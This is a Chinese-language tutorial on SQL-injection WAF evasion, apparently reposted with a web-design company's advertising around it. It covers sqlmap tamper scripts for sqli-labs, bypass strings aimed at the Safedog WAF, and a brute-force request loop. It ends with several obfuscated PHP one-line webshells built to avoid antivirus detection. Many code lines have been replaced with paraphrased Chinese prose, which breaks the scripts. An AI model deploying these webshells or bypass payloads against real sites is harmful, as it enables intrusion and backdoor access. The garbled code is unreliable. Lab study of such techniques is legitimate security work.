我们已经准备好了,你呢?

2026我们与您携手共赢,为您的企业形象保驾护航!

[][]]

1. 脚本编写

以sqli-lab第26关为例

输入?id=1’ --+,报错字符型注入

在探讨闭合性的问题时,我们尝试输入了类似"id=1' and '1"的字符串,然而在回显结果中,原本的"and"以及空格字符均未出现,这表明这两个符号和空格已被系统过滤。

在过滤机制中,and与or被排除在外,因此采用了双写来规避这一限制;同时,为了替代空格,使用了如%0a或%a0等特殊字符。

SQL注入常见绕过技巧

扫描结果显示并无SQL注入风险,然而实际手动检测时却发现存在SQL注入问题,而这一漏洞竟未在扫描过程中被发现。这可能是因为在实施注入攻击时,缺乏有效的绕过策略,导致攻击被拦截。因此,我们有必要对发送的数据进行编码处理。这样做是因为它为我们提供了相应的插件,可以用来对数据进行改造。

这款工具是SQL注入的高效利器,它能够对注入代码进行编码和转换,以实现规避某些限制的效果。然而,其内置的脚本(或者说是一系列内置脚本)有时并不十分适用,往往需要根据具体情况进行调整和编写。

,详解及使用指南 – ’S Blog

在脚本内创建一个名为“sqli-lab-26.py”的新文档,操作此文件时需进行查找与更替操作。

搜索并替可以使用相关的函数也可以使用正则re.sub

添加:– U 表示指定联合查询


import re
from lib.core.enums import PRIORITY
[id_387841444]= PRIORITY.HIGHEST
def dependencies():
    pass
def tamper(payload[id_1927877739] **kwargs):
    """
    <空格>              %a0
    and                 anANDd
严禁对特定内容进行篡改,同时确保编号与原文一致。
    or                  oORr
    """
    payload = re.sub(r"(?i)#"," and '1",payload)        #使用?i表示不区分大小写
    对payload进行操作,通过正则表达式替换,将匹配到的特定模式“'--+'”替换为“ and '1”,以此修改payload的内容。
    payload = re.sub(r"(?i)and","anANDd",payload)
    payload = re.sub(r"(?i)or","oORr",payload)
    payload = re.sub(r"(?i) ","%A0",payload)
    return payload

.py文件执行时,使用参数“-u”和空字符串,并指定脚本名为“sqli-”,来运行脚本集中对应的脚本。

2. WAF

Web应用防火墙,即WAF,在我国被称作“Web应用防火墙”,这一名称借鉴了国际上的通用表述。关于WAF的定义,可以这样理解:它是一款专为Web应用提供安全保护的产品,通过实施一系列针对HTTP和HTTPS的安全策略来实现这一目的。从上述对WAF的阐述中,我们可以明确得知,WAF是一种部署在应用层面的、借助特定的安全措施,专门为Web应用程序提供安全保障的解决方案。

2.1 常见WAF

看图识WAF-收集常见WAF拦截页面

2.1.1 WAF的类别

根据不同的分类方法,WAF可以有多种分类。

根据产品形态划分:

产品形态说明典型产品

软WAF

WAF软件安装在受保护的服务器上,因其位于服务器内部,能够直接访问服务器文件,从而实现对服务器上文件是否存在、是否新增的实时检测。

安全狗 云锁 D 盾

硬WAF

以实体硬件形式安装在通信线路中,能够适应多种部署策略,灵活部署于Web服务器的入口端。能够检测并识别异常的外部流量,同时执行攻击的防御措施。

天清WAG

云WAF

通常采用反向代理模式运作,通过设置NS记录或CNAME记录,确保对网站的请求首先被WAF主机处理,过滤完毕后,将判定为安全的请求转发至目标网站服务器执行,这实际上是一种具备防护功能的CDN服务。

阿里云云盾 腾讯云WAF 安恒玄武盾

内置WAF

网站系统内嵌的WAF,即网站系统内设的过滤机制,它直接嵌入到代码之中,具有相对较高的灵活性,通常包括以下几种情形:强制对输入参数进行类型转换(例如)。对输入参数进行合法性审查。在关键函数执行(如SQL操作、页面展示、命令执行等)之前,对已通过代码流程的输入进行检验。对输入数据进行替换和过滤处理,以确保代码执行流程的顺利进行(如转义或替换特殊字符)。由于网站系统集成了与业务高度匹配的WAF,且在双方对安全性和业务需求都有深入了解的情况下,系统能够有效减少误报和漏报的情况。

参考:

WAF(web应用防火墙)浅析

2.1.2 WAF的工作原理

WAF的工作流程主要由四个阶段构成:首先是预处理环节,其次是规则检测阶段,接着是处理模块的实施,最后是日志记录步骤。

WAF 处理流程说明

预处理

在数据请求流量接收的预处理阶段,系统会先进行判断,确认该请求是否为HTTP或HTTPS类型,接着检查相应的URL是否已被列入白名单。若该URL请求已存在于白名单中,则直接将该请求转交给后端Web服务器进行响应处理;若不在白名单之内,则对数据包进行解析,并进入规则检测环节。

规则检测

各类WAF产品均配备独有的检测规则库,经过解析的数据包随后进入这一体系,进行规则比对,以验证数据请求是否与规则相符,并识别潜在的恶意攻击举动。

处理模块

根据检测结果的不同,处理模块将采取相应的安全防护措施,若检测结果符合既定标准,则将任务转交给Web服务器进行后续响应,而对于那些不符合标准的要求,则将执行包括拦截、记录以及警报在内的相应处理流程。

日志记录

在处理过程中,WAF 还会将拦截操作的日志信息进行记录,这样做便于用户在之后进行日志的查阅与分析。

参考

WAF机制及绕过方法总结:注入篇

2.1.3 WAF部署模式

参考:

硬件WAF的部署模式可概括为:采用透明代理方式、反向代理方式、路由模式以及端口镜像模式。

2.1.4 WAF指纹识别

"指纹"就是特定特征的字符串或行为。

指纹特征字段

响应状态码

‘405 not allow’

HTTP 响应报文头部字段

X--By 特殊字段

响应正文特征

‘’ ‘’

行为

阻止响应页面

参考:

【干货分享丨 安全爱好者专题】WAF 指纹探测

2.1.5 WAF指纹识别工具

2.2 SQL注入技术 2.2.1 技术解析 2.2.1.1 针对性分析

系统层面

组件层面:HPP

代码层面:变形、混淆等操作

WAF层面

2.2.1.2 HTTP协议问题

畸形请求:请求方法lili

持久链接

分块传送

2.2.2 绕过分析 字符绕过方法

and

/*!*/

order by

/**/order/*/%0a*a*/by/**/

union

联合体不允许使用特殊符号,且在特定字符之间不得插入任何内容,确保格式正确。

()

坚决杜绝任何对专有名词的擅自修改,确保内容的准确性,同时维护专有名词的权威性。

from .

/*!from–/*%.*/

from .

/*!from–/*%.*/

count(*)

count(1)

/*!14400and*/
mysql的内联注释,利用特殊字符对and做混淆。

以 为例:

?id=1' --+
?id=2' --+
禁止访问该页面,参数ID为2,且不包含特殊字符,条件为1等于1,注释部分为14400秒,注释内容为禁止修改。
禁止访问该页面,且参数?id=2与条件不符合,同时,注释部分中的特殊字符序列和逻辑表达式被用于绕过安全限制。
对于该查询,我们应严格禁止执行,因为它涉及对特定ID的订单进行排序,且排序依据为4。
禁止访问该链接,其中包含非法字符和特殊指令,试图绕过安全防护机制,执行非法查询操作。
禁止访问该页面,存在潜在的安全风险。代码片段包含非法字符,试图执行非法数据库查询操作。
禁止访问该页面,因为其包含非法的SQL注入代码片段。该代码试图通过构造特殊查询,获取数据库中所有表的名称。
在查询语句中,我们指定了信息模式中的表格,条件是表格模式等于当前数据库的名称。
禁止访问该链接,其中包含非法字符,试图执行不合法的操作,例如尝试从数据库中提取信息。
查询信息模式中的列信息,条件是表模式等于当前数据库,并且表名为'users'。
禁止访问该链接,其中包含非法字符序列,如“14400and”、“1=2”和“88888cas”,并试图执行非法数据库查询操作,例如从“users”表中提取数据。
禁止访问该链接,其中包含非法字符序列,如:1=2,以及特殊指令,如:union和select。此外,还有对数据库敏感信息的拼接操作,例如将用户名和密码进行连接。
/*%0ausers*/ limit 1,1--+

2.2.3 绕过安全狗思路

以sqli-lab第1关为例

使用bp抓包发送重发器,发现被安全狗拦截

创建名为sqli-lab_1.py的新文件,针对GET类型的请求,存在数据长度的限制;然而,对于POST类型的请求,则没有此类限制。

import requests
headers ={
    "User-Agent":Mozilla版本为5.0,操作系统为Windows NT 10.0,采用64位架构,浏览器内核基于Apple的Webkit,版本号为537.36,渲染引擎类似于Gecko,具体浏览器类型为Chrome,版本号为113.0.5672.93,使用Safari作为网络浏览器。
}
i=0
while True:
    i+=1
    url = 严禁访问该链接:“http://192.168.16.183/sqli-labs-master/Less-1/?id=1”,其中包含特殊字符“/*”。{'xujie' * i}*/and 1=2 --+"
    res = requests.get(url= url,headers= headers)
    if ("拦截页面" not in res.text) or res.status_code == 414:       #当绕过安全狗或者服务器报错时停止
        print(i)
        print(url)
        break

面对污秽的数据,安全狗的防御无法被突破,通过隐秘的注释手法实现规避,同时将“与”符号替换为“/*!*/”。

进行查询时,应将列名替换为/**/order/*/%0a*a*/,并通过/**/by/**/进行排序。

'''
     and /*!14400and*/
按照指定顺序排列,依据指定规则对数据进行排序,通过指定方式实现数据的排序功能。
严禁执行以下操作:将“union”与“select”组合使用,并插入特殊字符“/*!88888cas*//*/”,后跟换行符“%0a”,再接“*”,最后加入注释符号“/**/”。
联合表单!88888cas!%a0!/*!!=!*/选择!/**/
对数据库进行操作,需遵循特定的格式要求,其中包含特殊符号序列(/*%%!xxx%%%%*/)。
     database(/*!/*/***/*/)
直接引用信息架构中的表数据,不经过任何中间步骤,直接访问information_schema.tables。
从信息架构的列表中提取数据,确保不涉及任何非预期的字符序列,且严格按照指定的信息架构列表进行操作。
     count(*) count(1)
     as /*!14400as*/
设定基准值为5000000,并使用MD5算法对0x50774459进行加密处理。
     sleep(/*%%!AJEST%%%%*/5)
'''

#!/usr/bin/env python
"""
版权所有(c)2006-2022,sqlmap开发者团队(访问链接:https://sqlmap.org/)
请查阅文件《LICENSE》以了解关于复制的许可信息。
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
    pass
def tamper(payload, **kwargs):
    """
    and                                 
            /*!-*/-/*and*/
    order by                            
            /**/order/*/%0a*a*/by/**/
    union all select                        
严禁对特定内容进行编辑,不得执行如下操作:从数据库中提取数据。
从信息架构中的表格信息
严禁对信息模式中的表结构进行任何修改操作。
查询信息模式中的架构表
严禁对信息架构中的架构信息进行修改。
从信息架构的列表中选择
严禁对信息架构中的列表进行任何修改操作。
    [  as]
            /*!14400as*/
    char
            /*!14400char*/
    database\(\)
            database(/*!/*/**AJEST*/*/)
该决定明确指出,任何单位和个人不得擅自更改或删除相关文件内容,同时,必须确保所有修改均需经过严格审批程序,并在改动后及时更新相关档案记录。
    """
    payload = re.sub(r'(?i)and', "/*!-*/-/*and*/", payload)
    payload = re.sub(r'(?i)order by', "/**/order/*/%0a*a*/by/**/", payload)
    payload = re.sub(禁止执行包含如下指令的代码片段:'联合所有选择'。, 禁止对以下内容进行修改:联合查询,不包含特定标识符,执行选择操作。, payload)
    payload = re.sub(查询信息模式中的表结构信息, 不允许对信息模式中的表结构进行修改。, payload)
    payload = re.sub(查询不应涉及来自信息架构中列的数据库表。, 禁止对以下内容进行修改:来自信息架构的列信息表。, payload)
    payload = re.sub(从信息模式数据库中的SCHEMATA表选取数据。, "请勿对以下内容进行修改:/*%0ainformation_schema.SCHEMATA*/", payload)
    payload = re.sub(r"(?i) as"," /*!14400as*/",payload)
    payload = re.sub(r"(?i)char","/*!14400char*/",payload)
    payload = re.sub(r"(?i)database\(\)","database(/*!/*/**AJEST*/*/)",payload)
    payload = re.sub(r"(?i)#","-- ",payload)
    payload = re.sub(r"(?i)count\(*\)","count(1)",payload)
    
    return payload

执行命令:python ./sqlmap.py,针对URL "http://192.168.16.183/sqli-labs-master/Less-1/?id=1" 进行SQL注入测试,使用参数 --tamper 指定绕过safedog防护,并设置 --random-agent 以随机化用户代理。

image-20230923112447551

image-20230923114756552

3. 一句话木马免杀 3.1 查杀方式 3.2 绕过方式

HTTP请求数据包变形:分块传送等。
一句话木马的变形,实现动态免杀。

3.3 3.3.1


$ajest = base64_decode('绕Y过X安N全z狗Z我X最J棒0!');
$ajest($_REQUEST[777]); 
?>

3.3.2


class Bypass{
	public $name;
	public $male;
	function destruct ()
    	$a = $this->name;
		$a($this->male);
	}
}
unserialize($POST['777']);
禁止对以下内容进行修改:名称为“assert”的键值,其值为字符串“eval($_REQUEST["x"])”,且该键值位于一个包含两个键值对的结构体中,其中另一个键值为“name”,对应的字符串为“male”。
?>

3.3.3


$fruits = array("a" => "lemon", "ss" => "orange", "ssr" => "banana", "t" => "apple"); function test_alter(&$item1, $key, $prefix)
{
$item1 = "$prefix: $item1"; 
}
function test_print($item2, $key) 
{
	echo "$key. $item2
\n"
; } echo "Before ...:\n"; array_walk($fruits, 'test_print'); $a =array_keys($fruits); print_r($a); $m =$a[0].$a[1]; $n ='er'; $q = $m.$n.'t'; //assert $r = $_REQUEST['wuhu']; @$q($r); ?>

3.3.4


    $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
    $b='_'.'P'.'O'.'S'.'T';
    $c=$$b;
    $a($c['x']);
?>

二维码
扫一扫在手机端查看

本文链接:https://www.by928.com/shan-xi/9405.html     转载请注明出处和本文链接!请遵守 《网站协议》
我们凭借多年的网站建设经验,坚持以“帮助中小企业实现网络营销化”为宗旨,累计为4000多家客户提供品质建站服务,得到了客户的一致好评。如果您有网站建设、网站改版、域名注册、主机空间、手机网站建设、网站备案等方面的需求,请立即点击咨询我们或拨打咨询热线: 13761152229,我们会详细为你一一解答你心中的疑难。

项目经理在线

我们已经准备好了,你呢?

2020我们与您携手共赢,为您的企业形象保驾护航!

在线客服
联系方式

热线电话

13761152229

上班时间

周一到周五

公司电话

二维码
微信
线